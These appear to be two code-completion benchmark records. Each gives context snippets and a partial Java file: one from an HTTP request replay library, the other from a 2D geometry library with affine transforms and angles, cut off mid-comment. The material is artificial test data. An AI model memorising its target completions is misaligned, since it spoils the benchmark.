[ "public interface HttpRequestRecord {\n\n String getId();\n\n Date getTimestamp();\n\n String getGroupName();\n\n String getUri();\n\n HttpRequestMethod getMethod();\n\n List<HttpRequestHeader> getHeaders();\n\n HttpRequestPayload getPayload();\n\n Builder toBuilder();\n\n interface Builder {\n\n Builder setId(String id);\n\n Builder setTimestamp(Date timestamp);\n\n Builder setGroupName(String groupName);\n\n Builder setUri(String uri);\n\n Builder setMethod(HttpRequestMethod method);\n\n Builder setHeaders(List<HttpRequestHeader> headers);\n\n Builder setPayload(HttpRequestPayload payload);\n\n HttpRequestRecord build();\n\n }\n\n}", "public interface HttpRequestRecordReader<T> {\n\n HttpRequestRecordReaderSource<T> getSource();\n\n Iterable<HttpRequestRecord> read();\n\n}", "public interface HttpRequestRecordReaderSource<T> extends Closeable {\n\n @Nullable\n T read();\n\n}", "public interface HttpRequestRecordStream {\n\n void consumeWhile(URI inputUri, boolean replayOnce, Callable<Boolean> predicate, HttpRequestRecordStreamConsumer consumer);\n\n}", "public interface HttpRequestRecordStreamConsumer {\n\n void consume(HttpRequestRecord record);\n\n}", "public enum Base64HttpRequestRecord {;\n\n public static final Charset CHARSET = StandardCharsets.US_ASCII;\n\n public static final DateFormat DATE_FORMAT = new SimpleDateFormat(\"yyyyMMdd-HHmmss.SSSZ\");\n\n public static final String FIELD_SEPARATOR = \"\\t\";\n\n public static final String RECORD_SEPARATOR = \"\\n\";\n\n}", "public class Base64HttpRequestRecordReader implements HttpRequestRecordReader<String> {\n\n private final HttpRequestRecordReaderSource<String> source;\n\n private final Base64Decoder decoder;\n\n public Base64HttpRequestRecordReader(HttpRequestRecordReaderSource<String> source, Base64Decoder decoder) {\n this.source = checkNotNull(source, \"source\");\n this.decoder = checkNotNull(decoder, \"decoder\");\n }\n\n @Override\n public HttpRequestRecordReaderSource<String> getSource() {\n return source;\n }\n\n @Override\n public Iterable<HttpRequestRecord> read() {\n return new Base64HttpRequestRecordReaderIterable(source, decoder);\n }\n\n}", "public class GuavaBase64Decoder implements Base64Decoder {\n\n private static final GuavaBase64Decoder INSTANCE = new GuavaBase64Decoder();\n\n private GuavaBase64Decoder() {\n // Do nothing.\n }\n\n public static GuavaBase64Decoder getInstance() {\n return INSTANCE;\n }\n\n @Override\n public byte[] decode(String encodedBytes) {\n checkNotNull(encodedBytes, \"encodedBytes\");\n return GuavaBase64.BASE_ENCODING.decode(encodedBytes);\n }\n\n}", "@NotThreadSafe\npublic class HttpRequestRecordReaderFileSource implements HttpRequestRecordReaderSource<String> {\n\n private static final Logger LOGGER = LoggerFactory.getLogger(HttpRequestRecordReaderFileSource.class);\n\n private final File file;\n\n private final Charset charset;\n\n private final BufferedReader reader;\n\n public HttpRequestRecordReaderFileSource(File file, Charset charset) {\n this.file = checkNotNull(file, \"file\");\n this.charset = checkNotNull(charset, \"charset\");\n this.reader = createReader(file, charset);\n LOGGER.trace(\"instantiated (file={}, charset={})\", file, charset);\n }\n\n private static BufferedReader createReader(File file, Charset charset) {\n try {\n FileInputStream fileInputStream = new FileInputStream(file);\n try {\n InputStream readerInputStream = isGzipped(file)\n ? new GZIPInputStream(fileInputStream)\n : fileInputStream;\n InputStreamReader inputStreamReader = new InputStreamReader(readerInputStream, charset);\n return new BufferedReader(inputStreamReader);\n } catch (IOException error) {\n fileInputStream.close();\n throw error;\n }\n } catch (IOException error) {\n String message = String.format(\"failed opening file (file=%s, charset=%s)\", file, charset);\n throw new RuntimeException(message, error);\n }\n }\n\n private static boolean isGzipped(File file) {\n return file.getAbsolutePath().matches(\".*\\\\.[gG][zZ]$\");\n }\n\n public File getFile() {\n return file;\n }\n\n public Charset getCharset() {\n return charset;\n }\n\n @Nullable\n @Override\n public String read() {\n try {\n return reader.readLine();\n } catch (IOException error) {\n String message = String.format(\"failed reading line (file=%s)\", file);\n throw new RuntimeException(message, error);\n }\n }\n\n @Override\n public void close() throws IOException {\n LOGGER.trace(\"closing\");\n reader.close();\n }\n\n @Override\n public String toString() {\n return MoreObjects.toStringHelper(this)\n .add(\"file\", file)\n .add(\"charset\", charset)\n .toString();\n }\n\n}" ]
import com.vlkan.hrrs.api.HttpRequestRecord; import com.vlkan.hrrs.api.HttpRequestRecordReader; import com.vlkan.hrrs.api.HttpRequestRecordReaderSource; import com.vlkan.hrrs.replayer.record.HttpRequestRecordStream; import com.vlkan.hrrs.replayer.record.HttpRequestRecordStreamConsumer; import com.vlkan.hrrs.serializer.base64.Base64HttpRequestRecord; import com.vlkan.hrrs.serializer.base64.Base64HttpRequestRecordReader; import com.vlkan.hrrs.serializer.base64.guava.GuavaBase64Decoder; import com.vlkan.hrrs.serializer.file.HttpRequestRecordReaderFileSource; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.io.File; import java.io.IOException; import java.net.URI; import java.util.Iterator; import java.util.concurrent.Callable; import static com.google.common.base.Preconditions.checkNotNull;
package com.vlkan.hrrs.replayer.base64; public class Base64HttpRequestRecordStream implements HttpRequestRecordStream { private static final Logger LOGGER = LoggerFactory.getLogger(Base64HttpRequestRecordStream.class); @Override public void consumeWhile(URI inputUri, boolean replayOnce, Callable<Boolean> predicate, HttpRequestRecordStreamConsumer consumer) { checkNotNull(inputUri, "inputUri"); checkNotNull(predicate, "predicate"); checkNotNull(consumer, "consumer"); LOGGER.debug("consuming (inputUri={})", inputUri); boolean resuming; do { File inputFile = new File(inputUri); HttpRequestRecordReaderSource<String> readerSource = new HttpRequestRecordReaderFileSource(inputFile, Base64HttpRequestRecord.CHARSET); try { HttpRequestRecordReader<String> reader = new Base64HttpRequestRecordReader(readerSource, GuavaBase64Decoder.getInstance());
Iterator<HttpRequestRecord> iterator = reader.read().iterator();
0
pokowaka/android-geom
geom/src/main/java/math/geom2d/line/StraightLine2D.java
[ "public class AffineTransform2D implements Bijection2D, GeometricObject2D,\r\n Cloneable {\r\n\r\n // coefficients for x coordinate.\r\n protected double m00, m01, m02;\r\n\r\n // coefficients for y coordinate.\r\n protected double m10, m11, m12;\r\n\r\n // ===================================================================\r\n // static methods\r\n\r\n /**\r\n * @since 0.8.1\r\n */\r\n public static AffineTransform2D createIdentity() {\r\n return new AffineTransform2D(1, 0, 0, 0, 1, 0);\r\n }\r\n\r\n /**\r\n * Creates a new affine transform by copying coefficients.\r\n * \r\n * @since 0.8.1\r\n */\r\n public static AffineTransform2D create(AffineTransform2D trans) {\r\n return new AffineTransform2D(trans.m00, trans.m01, trans.m02,\r\n trans.m10, trans.m11, trans.m12);\r\n }\r\n\r\n /**\r\n * Creates an affine transform defined by an array of coefficients. The\r\n * input array must have either 4 or 6 coefficients.\r\n * \r\n * @since 0.8.1\r\n */\r\n public static AffineTransform2D create(double[] coefs) {\r\n if (coefs.length == 4) {\r\n return new AffineTransform2D(coefs[0], coefs[1], 0, coefs[2],\r\n coefs[3], 0);\r\n } else if (coefs.length == 6) {\r\n return new AffineTransform2D(coefs[0], coefs[1], coefs[2],\r\n coefs[3], coefs[4], coefs[5]);\r\n } else {\r\n throw new IllegalArgumentException(\r\n \"Input array must have either 4 or 6 elements\");\r\n }\r\n }\r\n\r\n /**\r\n * @since 0.8.1\r\n */\r\n public static AffineTransform2D create(double xx, double yx, double tx,\r\n double xy, double yy, double ty) {\r\n return new AffineTransform2D(xx, yx, tx, xy, yy, ty);\r\n }\r\n\r\n /**\r\n * Create a glide reflection, composed of a reflection by the given line,\r\n * and a translation in the direction of the line by a distance given by\r\n * second parameter.\r\n */\r\n public static AffineTransform2D createGlideReflection(LinearShape2D line,\r\n double distance) {\r\n // get origin and vector of line\r\n Vector2D vector = line.direction().normalize();\r\n Point2D origin = line.origin();\r\n\r\n // extract origin and vector coordinates\r\n double dx = vector.x();\r\n double dy = vector.y();\r\n double x0 = origin.x();\r\n double y0 = origin.y();\r\n\r\n // compute translation parameters\r\n double tx = dx * distance;\r\n double ty = dy * distance;\r\n\r\n // some computation shortcuts\r\n double delta = dx * dx + dy * dy;\r\n double dx2 = dx * dx;\r\n double dy2 = dy * dy;\r\n double dxy = dx * dy;\r\n double dxy0 = dx * y0;\r\n double dyx0 = dy * x0;\r\n\r\n // create the affine transform with parameters of glide reflection\r\n return new AffineTransform2D((dx2 - dy2) / delta, 2 * dxy / delta, 2\r\n * dy * (dyx0 - dxy0) / delta + tx, 2 * dxy / delta, (dy2 - dx2)\r\n / delta, 2 * dx * (dxy0 - dyx0) / delta + ty);\r\n }\r\n\r\n /**\r\n * @deprecated replaced by scaling (0.11.1)\r\n */\r\n @Deprecated\r\n public static AffineTransform2D createHomothecy(Point2D center, double k) {\r\n return createScaling(center, k, k);\r\n }\r\n\r\n /**\r\n * Creates a reflection by the given line. The resulting transform is\r\n * indirect.\r\n */\r\n public static AffineTransform2D createLineReflection(LinearShape2D line) {\r\n // origin and direction of line\r\n Point2D origin = line.origin();\r\n Vector2D vector = line.direction();\r\n\r\n // extract direction vector coordinates\r\n double dx = vector.x();\r\n double dy = vector.y();\r\n double x0 = origin.x();\r\n double y0 = origin.y();\r\n\r\n // pre-compute some terms\r\n double dx2 = dx * dx;\r\n double dy2 = dy * dy;\r\n double dxy = dx * dy;\r\n double delta = dx2 + dy2;\r\n\r\n // creates the new transform\r\n return new AffineTransform2D((dx2 - dy2) / delta, 2 * dxy / delta, 2\r\n * (dy2 * x0 - dxy * y0) / delta, 2 * dxy / delta, (dy2 - dx2)\r\n / delta, 2 * (dx2 * y0 - dxy * x0) / delta);\r\n }\r\n\r\n /**\r\n * Returns a center reflection around a point. The resulting transform is\r\n * equivalent to a rotation by 180 around this point.\r\n * \r\n * @param center\r\n * the center of the reflection\r\n * @return an instance of AffineTransform2D representing a point reflection\r\n */\r\n public static AffineTransform2D createPointReflection(Point2D center) {\r\n return AffineTransform2D.createScaling(center, -1, -1);\r\n }\r\n\r\n /**\r\n * Creates a rotation composed of the given number of rotations by 90\r\n * degrees around the origin.\r\n */\r\n public static AffineTransform2D createQuadrantRotation(int numQuadrant) {\r\n int n = ((numQuadrant % 4) + 4) % 4;\r\n switch (n) {\r\n case 0:\r\n return new AffineTransform2D(1, 0, 0, 0, 1, 0);\r\n case 1:\r\n return new AffineTransform2D(0, -1, 0, 1, 0, 0);\r\n case 2:\r\n return new AffineTransform2D(-1, 0, 0, 0, -1, 0);\r\n case 3:\r\n return new AffineTransform2D(0, 1, 0, -1, 0, 0);\r\n default:\r\n throw new RuntimeException(\"Error in integer rounding...\");\r\n }\r\n }\r\n\r\n /**\r\n * Creates a rotation composed of the given number of rotations by 90\r\n * degrees around the given point.\r\n */\r\n public static AffineTransform2D createQuadrantRotation(Point2D center,\r\n int numQuadrant) {\r\n AffineTransform2D trans = createQuadrantRotation(numQuadrant);\r\n trans.recenter(center.x(), center.y());\r\n return trans;\r\n }\r\n\r\n /**\r\n * Creates a rotation composed of the given number of rotations by 90\r\n * degrees around the point given by (x0,y0).\r\n */\r\n public static AffineTransform2D createQuadrantRotation(double x0,\r\n double y0, int numQuadrant) {\r\n AffineTransform2D trans = createQuadrantRotation(numQuadrant);\r\n trans.recenter(x0, y0);\r\n return trans;\r\n }\r\n\r\n /**\r\n * Creates a rotation around the origin, with angle in radians.\r\n */\r\n public static AffineTransform2D createRotation(double angle) {\r\n return AffineTransform2D.createRotation(0, 0, angle);\r\n }\r\n\r\n /**\r\n * Creates a rotation around the specified point, with angle in radians.\r\n */\r\n public static AffineTransform2D createRotation(Point2D center, double angle) {\r\n return AffineTransform2D.createRotation(center.x(), center.y(), angle);\r\n }\r\n\r\n /**\r\n * Creates a rotation around the specified point, with angle in radians. If\r\n * the angular distance of the angle with a multiple of PI/2 is lower than\r\n * the threshold Shape2D.ACCURACY, the method assumes equality.\r\n */\r\n public static AffineTransform2D createRotation(double cx, double cy,\r\n double angle) {\r\n angle = Angle2D.formatAngle(angle);\r\n\r\n // special processing to detect angle close to multiple of PI/2.\r\n int k = (int) round(angle * 2 / PI);\r\n if (abs(k * PI / 2 - angle) < ACCURACY) {\r\n return createQuadrantRotation(cx, cy, k);\r\n }\r\n\r\n // pre-compute trigonometric functions\r\n double cot = cos(angle);\r\n double sit = sin(angle);\r\n\r\n // init coef of the new AffineTransform.\r\n return new AffineTransform2D(cot, -sit, (1 - cot) * cx + sit * cy, sit,\r\n cot, (1 - cot) * cy - sit * cx);\r\n }\r\n\r\n /**\r\n * Creates a scaling by the given coefficients, centered on the origin.\r\n */\r\n public static AffineTransform2D createScaling(double sx, double sy) {\r\n return AffineTransform2D.createScaling(new Point2D(0, 0), sx, sy);\r\n }\r\n\r\n /**\r\n * Creates a scaling by the given coefficients, centered on the point given\r\n * by (x0,y0).\r\n */\r\n public static AffineTransform2D createScaling(Point2D center, double sx,\r\n double sy) {\r\n return new AffineTransform2D(sx, 0, (1 - sx) * center.x(), 0, sy,\r\n (1 - sy) * center.y());\r\n }\r\n\r\n /**\r\n * Creates a Shear transform, using the classical Java notation.\r\n * \r\n * @param shx\r\n * shear in x-axis\r\n * @param shy\r\n * shear in y-axis\r\n * @return a shear transform\r\n */\r\n public static AffineTransform2D createShear(double shx, double shy) {\r\n return new AffineTransform2D(1, shx, 0, shy, 1, 0);\r\n }\r\n\r\n /**\r\n * Return a translation by the given vector.\r\n */\r\n public static AffineTransform2D createTranslation(Vector2D vect) {\r\n return new AffineTransform2D(1, 0, vect.x(), 0, 1, vect.y());\r\n }\r\n\r\n /**\r\n * Return a translation by the given vector.\r\n */\r\n public static AffineTransform2D createTranslation(double dx, double dy) {\r\n return new AffineTransform2D(1, 0, dx, 0, 1, dy);\r\n }\r\n\r\n // ===================================================================\r\n // methods to identify transforms\r\n\r\n /**\r\n * Checks if the given transform is the identity transform.\r\n */\r\n public static boolean isIdentity(AffineTransform2D trans) {\r\n if (abs(trans.m00 - 1) > ACCURACY)\r\n return false;\r\n if (abs(trans.m01) > ACCURACY)\r\n return false;\r\n if (abs(trans.m02) > ACCURACY)\r\n return false;\r\n if (abs(trans.m10) > ACCURACY)\r\n return false;\r\n if (abs(trans.m11 - 1) > ACCURACY)\r\n return false;\r\n if (abs(trans.m12) > ACCURACY)\r\n return false;\r\n return true;\r\n }\r\n\r\n /**\r\n * Checks if the transform is direct, i.e. it preserves the orientation of\r\n * transformed shapes.\r\n * \r\n * @return true if transform is direct.\r\n */\r\n public static boolean isDirect(AffineTransform2D trans) {\r\n return trans.m00 * trans.m11 - trans.m01 * trans.m10 > 0;\r\n }\r\n\r\n /**\r\n * Checks if the transform is an isometry, i.e. a compound of translation,\r\n * rotation and reflection. Isometry keeps area of shapes unchanged, but can\r\n * change orientation (direct or indirect).\r\n * \r\n * @return true in case of isometry.\r\n */\r\n public static boolean isIsometry(AffineTransform2D trans) {\r\n // extract matrix coefficients\r\n double a = trans.m00;\r\n double b = trans.m01;\r\n double c = trans.m10;\r\n double d = trans.m11;\r\n\r\n // transform vectors should be normalized\r\n if (abs(a * a + b * b - 1) > ACCURACY)\r\n return false;\r\n if (abs(c * c + d * d - 1) > ACCURACY)\r\n return false;\r\n\r\n // determinant must be -1 or +1\r\n if (abs(a * b + c * d) > ACCURACY)\r\n return false;\r\n\r\n // if all tests passed, return true;\r\n return true;\r\n }\r\n\r\n /**\r\n * Checks if the transform is a motion, i.e. a compound of translations and\r\n * rotations. Motions are special case of isometries that keep orientation\r\n * (directed or undirected) of shapes unchanged.\r\n * \r\n * @return true in case of motion.\r\n */\r\n public static boolean isMotion(AffineTransform2D trans) {\r\n // Transform must be 1) an isometry and 2) be direct\r\n return isIsometry(trans) && isDirect(trans);\r\n }\r\n\r\n /**\r\n * Checks if the transform is an similarity, i.e. transformation which keeps\r\n * unchanged the global shape, up to a scaling factor.\r\n * \r\n * @return true in case of similarity.\r\n */\r\n public static boolean isSimilarity(AffineTransform2D trans) {\r\n // computation shortcuts\r\n double a = trans.m00;\r\n double b = trans.m01;\r\n double c = trans.m10;\r\n double d = trans.m11;\r\n\r\n // determinant\r\n double k2 = abs(a * d - b * c);\r\n\r\n // test each condition\r\n if (abs(a * a + b * b - k2) > ACCURACY)\r\n return false;\r\n if (abs(c * c + d * d - k2) > ACCURACY)\r\n return false;\r\n if (abs(a * a + c * c - k2) > ACCURACY)\r\n return false;\r\n if (abs(b * b + d * d - k2) > ACCURACY)\r\n return false;\r\n\r\n // if each test passed, return true\r\n return true;\r\n }\r\n\r\n // ===================================================================\r\n // Constructors\r\n\r\n /**\r\n * Creates a new AffineTransform2D, initialized with Identity.\r\n */\r\n public AffineTransform2D() {\r\n // init to identity matrix\r\n m00 = m11 = 1;\r\n m01 = m10 = 0;\r\n m02 = m12 = 0;\r\n }\r\n\r\n /**\r\n * Constructor by copy of an existing transform\r\n * \r\n * @deprecated not necessary to clone immutable objects (0.11.2)\r\n */\r\n @Deprecated\r\n public AffineTransform2D(AffineTransform2D trans) {\r\n this.m00 = trans.m00;\r\n this.m01 = trans.m01;\r\n this.m02 = trans.m02;\r\n this.m10 = trans.m10;\r\n this.m11 = trans.m11;\r\n this.m12 = trans.m12;\r\n }\r\n\r\n /**\r\n * Creates a new Affine Transform by directly specifying the coefficients,\r\n * in the order m00, m01, m02, m10, m11, m12 (different order of\r\n * java.awt.geom.AffineTransform).\r\n */\r\n public AffineTransform2D(double[] coefs) {\r\n if (coefs.length == 4) {\r\n m00 = coefs[0];\r\n m01 = coefs[1];\r\n m10 = coefs[2];\r\n m11 = coefs[3];\r\n } else {\r\n m00 = coefs[0];\r\n m01 = coefs[1];\r\n m02 = coefs[2];\r\n m10 = coefs[3];\r\n m11 = coefs[4];\r\n m12 = coefs[5];\r\n }\r\n }\r\n\r\n public AffineTransform2D(double xx, double yx, double tx, double xy,\r\n double yy, double ty) {\r\n m00 = xx;\r\n m01 = yx;\r\n m02 = tx;\r\n m10 = xy;\r\n m11 = yy;\r\n m12 = ty;\r\n }\r\n\r\n /**\r\n * Helper function that fixes the center of the transform. This function\r\n * recomputes m02 and m12 from the other coefficients and the given\r\n * parameters. If transform is a pure translation, the result is the\r\n * identity transform.\r\n */\r\n private void recenter(double x0, double y0) {\r\n this.m02 = (1 - this.m00) * x0 - this.m01 * y0;\r\n this.m12 = (1 - this.m11) * y0 - this.m10 * x0;\r\n }\r\n\r\n // ===================================================================\r\n // methods specific to AffineTransform2D class\r\n\r\n /**\r\n * Returns coefficients of the transform in a linear array of 6 double.\r\n */\r\n public double[] coefficients() {\r\n double[] tab = { m00, m01, m02, m10, m11, m12 };\r\n return tab;\r\n }\r\n\r\n /**\r\n * Returns the 3x3 square matrix representing the transform.\r\n * \r\n * @return the 3x3 affine transform representing the matrix\r\n */\r\n public double[][] affineMatrix() {\r\n double[][] tab = new double[][] { new double[] { m00, m01, m02 },\r\n new double[] { m10, m11, m12 }, new double[] { 0, 0, 1 } };\r\n return tab;\r\n }\r\n\r\n /**\r\n * Returns the affine transform created by applying first the affine\r\n * transform given by <code>that</code>, then this affine transform. This is\r\n * the equivalent method of the 'concatenate' method in\r\n * java.awt.geom.AffineTransform.\r\n * \r\n * @param that\r\n * the transform to apply first\r\n * @return the composition this * that\r\n * @since 0.6.3\r\n */\r\n public AffineTransform2D concatenate(AffineTransform2D that) {\r\n double n00 = this.m00 * that.m00 + this.m01 * that.m10;\r\n double n01 = this.m00 * that.m01 + this.m01 * that.m11;\r\n double n02 = this.m00 * that.m02 + this.m01 * that.m12 + this.m02;\r\n double n10 = this.m10 * that.m00 + this.m11 * that.m10;\r\n double n11 = this.m10 * that.m01 + this.m11 * that.m11;\r\n double n12 = this.m10 * that.m02 + this.m11 * that.m12 + this.m12;\r\n return new AffineTransform2D(n00, n01, n02, n10, n11, n12);\r\n }\r\n\r\n /**\r\n * Returns the affine transform created by applying first this affine\r\n * transform, then the affine transform given by <code>that</code>. This the\r\n * equivalent method of the 'preConcatenate' method in\r\n * java.awt.geom.AffineTransform. <code><pre>\r\n * shape = shape.transform(T1.chain(T2).chain(T3));\r\n * </pre></code> is equivalent to the sequence: <code><pre>\r\n * shape = shape.transform(T1);\r\n * shape = shape.transform(T2);\r\n * shape = shape.transform(T3);\r\n * </pre></code>\r\n * \r\n * @param that\r\n * the transform to apply in a second step\r\n * @return the composition that * this\r\n * @since 0.6.3\r\n */\r\n public AffineTransform2D chain(AffineTransform2D that) {\r\n return new AffineTransform2D(that.m00 * this.m00 + that.m01 * this.m10,\r\n that.m00 * this.m01 + that.m01 * this.m11, that.m00 * this.m02\r\n + that.m01 * this.m12 + that.m02, that.m10 * this.m00\r\n + that.m11 * this.m10, that.m10 * this.m01 + that.m11\r\n * this.m11, that.m10 * this.m02 + that.m11 * this.m12\r\n + that.m12);\r\n }\r\n\r\n /**\r\n * Return the affine transform created by applying first this affine\r\n * transform, then the affine transform given by <code>that</code>. This the\r\n * equivalent method of the 'preConcatenate' method in\r\n * java.awt.geom.AffineTransform.\r\n * \r\n * @param that\r\n * the transform to apply in a second step\r\n * @return the composition that * this\r\n * @since 0.6.3\r\n */\r\n public AffineTransform2D preConcatenate(AffineTransform2D that) {\r\n return this.chain(that);\r\n }\r\n\r\n // ===================================================================\r\n // methods testing type of transform\r\n\r\n /**\r\n * Tests if this affine transform is a similarity.\r\n */\r\n public boolean isSimilarity() {\r\n return AffineTransform2D.isSimilarity(this);\r\n }\r\n\r\n /**\r\n * Tests if this affine transform is a motion, i.e. is composed only of\r\n * rotations and translations.\r\n */\r\n public boolean isMotion() {\r\n return AffineTransform2D.isMotion(this);\r\n }\r\n\r\n /**\r\n * Tests if this affine transform is an isometry, i.e. is equivalent to a\r\n * compound of translations, rotations and reflections. Isometry keeps area\r\n * of shapes unchanged, but can change orientation (direct or indirect).\r\n * \r\n * @return true in case of isometry.\r\n */\r\n public boolean isIsometry() {\r\n return AffineTransform2D.isIsometry(this);\r\n }\r\n\r\n /**\r\n * Tests if this affine transform is direct, i.e. the sign of the\r\n * determinant of the associated matrix is positive. Direct transforms\r\n * preserve the orientation of transformed shapes.\r\n */\r\n public boolean isDirect() {\r\n return AffineTransform2D.isDirect(this);\r\n }\r\n\r\n /**\r\n * Tests is this affine transform is equal to the identity transform.\r\n * \r\n * @return true if this transform is the identity transform\r\n */\r\n public boolean isIdentity() {\r\n return AffineTransform2D.isIdentity(this);\r\n }\r\n\r\n // ===================================================================\r\n // implementations of Bijection2D methods\r\n\r\n /**\r\n * Returns the inverse transform. If the transform is not invertible, throws\r\n * a new NonInvertibleTransform2DException.\r\n * \r\n * @since 0.6.3\r\n */\r\n public AffineTransform2D invert() {\r\n double det = m00 * m11 - m10 * m01;\r\n\r\n if (Math.abs(det) < Shape2D.ACCURACY)\r\n throw new NonInvertibleTransform2DException(this);\r\n\r\n return new AffineTransform2D(m11 / det, -m01 / det, (m01 * m12 - m02\r\n * m11)\r\n / det, -m10 / det, m00 / det, (m02 * m10 - m00 * m12) / det);\r\n }\r\n\r\n // ===================================================================\r\n // implementations of Transform2D methods\r\n\r\n /**\r\n * Computes the coordinates of the transformed point.\r\n */\r\n public Point2D transform(Point2D p) {\r\n Point2D dst = new Point2D(p.x() * m00 + p.y() * m01 + m02, p.x() * m10\r\n + p.y() * m11 + m12);\r\n return dst;\r\n }\r\n\r\n public Point2D[] transform(Point2D[] src, Point2D[] dst) {\r\n if (dst == null)\r\n dst = new Point2D[src.length];\r\n\r\n double x, y;\r\n for (int i = 0; i < src.length; i++) {\r\n x = src[i].x();\r\n y = src[i].y();\r\n dst[i] = new Point2D(x * m00 + y * m01 + m02, x * m10 + y * m11\r\n + m12);\r\n }\r\n return dst;\r\n }\r\n\r\n // ===================================================================\r\n // implements the GeometricObject2D interface\r\n\r\n public boolean almostEquals(GeometricObject2D obj, double eps) {\r\n if (this == obj)\r\n return true;\r\n\r\n if (!(obj instanceof AffineTransform2D))\r\n return false;\r\n\r\n double[] tab1 = this.coefficients();\r\n double[] tab2 = ((AffineTransform2D) obj).coefficients();\r\n\r\n for (int i = 0; i < 6; i++)\r\n if (Math.abs(tab1[i] - tab2[i]) > eps)\r\n return false;\r\n\r\n return true;\r\n }\r\n\r\n // ===================================================================\r\n // Override the Object methods\r\n\r\n /**\r\n * Displays the coefficients of the transform, row by row.\r\n */\r\n @Override\r\n public String toString() {\r\n return new String(\"AffineTransform2D(\" + m00 + \",\" + m01 + \",\" + m02\r\n + \",\" + m10 + \",\" + m11 + \",\" + m12 + \",\");\r\n }\r\n\r\n @Override\r\n public boolean equals(Object obj) {\r\n if (this == obj)\r\n return true;\r\n\r\n if (!(obj instanceof AffineTransform2D))\r\n return false;\r\n\r\n AffineTransform2D that = (AffineTransform2D) obj;\r\n\r\n if (!EqualUtils.areEqual(this.m00, that.m00))\r\n return false;\r\n if (!EqualUtils.areEqual(this.m01, that.m01))\r\n return false;\r\n if (!EqualUtils.areEqual(this.m02, that.m02))\r\n return false;\r\n if (!EqualUtils.areEqual(this.m00, that.m00))\r\n return false;\r\n if (!EqualUtils.areEqual(this.m01, that.m01))\r\n return false;\r\n if (!EqualUtils.areEqual(this.m02, that.m02))\r\n return false;\r\n\r\n return true;\r\n }\r\n\r\n /**\r\n * @deprecated immutable objects do not need to be cloned (0.11.2)\r\n */\r\n @Deprecated\r\n @Override\r\n public AffineTransform2D clone() {\r\n return new AffineTransform2D(m00, m01, m02, m10, m11, m12);\r\n }\r\n}", "public class Angle2D {\r\n\r\n\t/** The constant for PI, equivalent to 180 degrees.*/\r\n\tpublic final static double M_PI \t= Math.PI;\r\n\t\r\n\t/** The constant for 2*PI, equivalent to 360 degrees.*/\r\n\tpublic final static double M_2PI \t= Math.PI * 2;\r\n\t\r\n\t/** The constant for PI/2, equivalent to 90 degrees.*/\r\n\tpublic final static double M_PI_2 \t= Math.PI / 2;\r\n\t\r\n\t/** The constant for 3*PI/2, equivalent to 270 degrees.*/\r\n\tpublic final static double M_3PI_2 \t= 3 * Math.PI / 2;\r\n\t\r\n\t/** The constant for 3*PI/4, equivalent to 45 degrees.*/\r\n\tpublic final static double M_PI_4 \t= Math.PI / 4;\r\n\r\n\t/**\r\n\t * Formats an angle between 0 and 2*PI.\r\n\t * \r\n\t * @param angle\r\n\t * the angle before formatting\r\n\t * @return the same angle, between 0 and 2*PI.\r\n\t */\r\n\tpublic static double formatAngle(double angle) {\r\n\t\treturn ((angle % M_2PI) + M_2PI) % M_2PI;\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the horizontal angle formed by the line joining the origin and\r\n\t * the given point.\r\n\t */\r\n\tpublic static double horizontalAngle(Point2D point) {\r\n\t\treturn (Math.atan2(point.y, point.x) + M_2PI) % (M_2PI);\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the horizontal angle formed by the line joining the origin and\r\n\t * the point with given coordinate.\r\n\t */\r\n\tpublic static double horizontalAngle(double x, double y) {\r\n\t\treturn (Math.atan2(y, x) + M_2PI) % (M_2PI);\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the horizontal angle formed by the line joining the origin and\r\n\t * the point with given coordinate.\r\n\t */\r\n\tpublic static double horizontalAngle(Vector2D vect) {\r\n\t\treturn (Math.atan2(vect.y, vect.x) + M_2PI) % (M_2PI);\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the horizontal angle formed by the line joining the two given\r\n\t * points.\r\n\t */\r\n\tpublic static double horizontalAngle(LinearShape2D object) {\r\n\t\tVector2D vect = object.supportingLine().direction();\r\n\t\treturn (Math.atan2(vect.y, vect.x) + M_2PI) % (M_2PI);\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the horizontal angle formed by the line joining the two given\r\n\t * points.\r\n\t */\r\n\tpublic static double horizontalAngle(Point2D p1,\tPoint2D p2) {\r\n\t\treturn (Math.atan2(p2.y - p1.y, p2.x - p1.x) + M_2PI) % (M_2PI);\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the horizontal angle formed by the line joining the two given\r\n\t * points.\r\n\t */\r\n\tpublic static double horizontalAngle(double x1, double y1, double x2,\r\n\t\t\tdouble y2) {\r\n\t\treturn (atan2(y2 - y1, x2 - x1) + M_2PI) % (M_2PI);\r\n\t}\r\n\r\n\t/**\r\n\t * <p>\r\n\t * Computes the pseudo-angle of a line joining the 2 points. The\r\n\t * pseudo-angle has same ordering property has natural angle, but is\r\n\t * expected to be computed faster. The result is given between 0 and 360.\r\n\t * </p>\r\n\t * \r\n\t * @param p1\r\n\t * the initial point\r\n\t * @param p2\r\n\t * the final point\r\n\t * @return the pseudo angle of line joining p1 to p2\r\n\t */\r\n\tpublic static double pseudoAngle(Point2D p1, Point2D p2) {\r\n\t\tdouble dx = p2.x - p1.x;\r\n\t\tdouble dy = p2.y - p1.y;\r\n\t\tdouble s = abs(dx) + abs(dy);\r\n\t\tdouble t = (s == 0) ? 0.0 : dy / s;\r\n\t\tif (dx < 0) {\r\n\t\t\tt = 2 - t;\r\n\t\t} else if (dy < 0) {\r\n\t\t\tt += 4;\r\n\t\t}\r\n\t\treturn t * 90;\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the oriented angle between two (directed) straight objects. \r\n\t * Result is given in radians, between 0 and 2*PI.\r\n\t */\r\n\tpublic static double angle(LinearShape2D obj1, LinearShape2D obj2) {\r\n\t\tdouble angle1 = obj1.horizontalAngle();\r\n\t\tdouble angle2 = obj2.horizontalAngle();\r\n\t\treturn (angle2 - angle1 + M_2PI) % (M_2PI);\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the oriented angle between two vectors. \r\n\t * Result is given in radians, between 0 and 2*PI.\r\n\t */\r\n\tpublic static double angle(Vector2D vect1, Vector2D vect2) {\r\n\t\tdouble angle1 = horizontalAngle(vect1);\r\n\t\tdouble angle2 = horizontalAngle(vect2);\r\n\t\treturn (angle2 - angle1 + M_2PI) % (M_2PI);\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the oriented angle between the ray formed by (p2, p1) \r\n\t * and the ray formed by (p2, 